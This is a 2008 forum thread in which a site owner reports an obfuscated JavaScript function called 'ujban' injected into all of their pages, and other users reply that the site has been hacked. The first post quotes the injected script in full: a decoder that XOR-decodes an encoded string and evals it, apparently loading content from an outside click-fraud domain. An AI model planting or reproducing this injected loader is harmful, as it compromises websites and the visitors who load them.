View Full Version : function ujban(x) mess my page

04-30-2008, 03:50 AM
i really dont know what this script is. i just see my site index.php with this line of code. any idea what is this and how this works?

the whole page change its layout, and i see request from hxxp://gate4clicks[dot]net/t/?15498051dcb but i am really sure i dont get files and call from that domain.

<body onunload="GUnloadApi()">
<script language=JavaScript>function ujban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,57,51,29,62,43,37,31,32,12,0,0,0,0,0,0,8,22,36,6,19,3 8,10,11,44,54,35,9,50,33,2,45,28,46,42,5,17,58,24,53,25,30,26,0,0,0,0,20,0,47,27,61,23,16,18,1,41,7, 0,3,34,39,48,40,15,21,4,56,60,49,13,59,14,55,52);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(211^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}ujban('BRbayLGhckUhLYRh8UxcdLbaIfpUyLGHEU5OcYZ0BCRQmZw4z0QQWCRH4ZwtcF5aIU4sE G4OnCwt8CFHQi0QmYUoh2p0zFwhIYxH0RGHsNZ0cZwht7F0HDp4YFwhwI7otZZayQamLYUQciRHcYGa4Qa41ixsB54UUJpcJbQsy NbHzJpcupphUYwhwUxsMd4twZ5QzQwhQDxs2kUhR45OQi0OUNUo0F5RhyGacZbtO0x0UAboLU5OODa4')</script>
<!-- -->

04-30-2008, 12:30 PM
Are you using a free hosting service?

05-02-2008, 02:41 AM
no, im hosting with a paid account. and every index.html, index.php where there is a <body> tag, i can see this script inserted.

how this script works? will it affect my visitors?

05-02-2008, 03:58 PM
I think you have been hacked.


I suggest contacting the support desk at your host to help you clean it up and make sure no other accounts on their server have the same issue.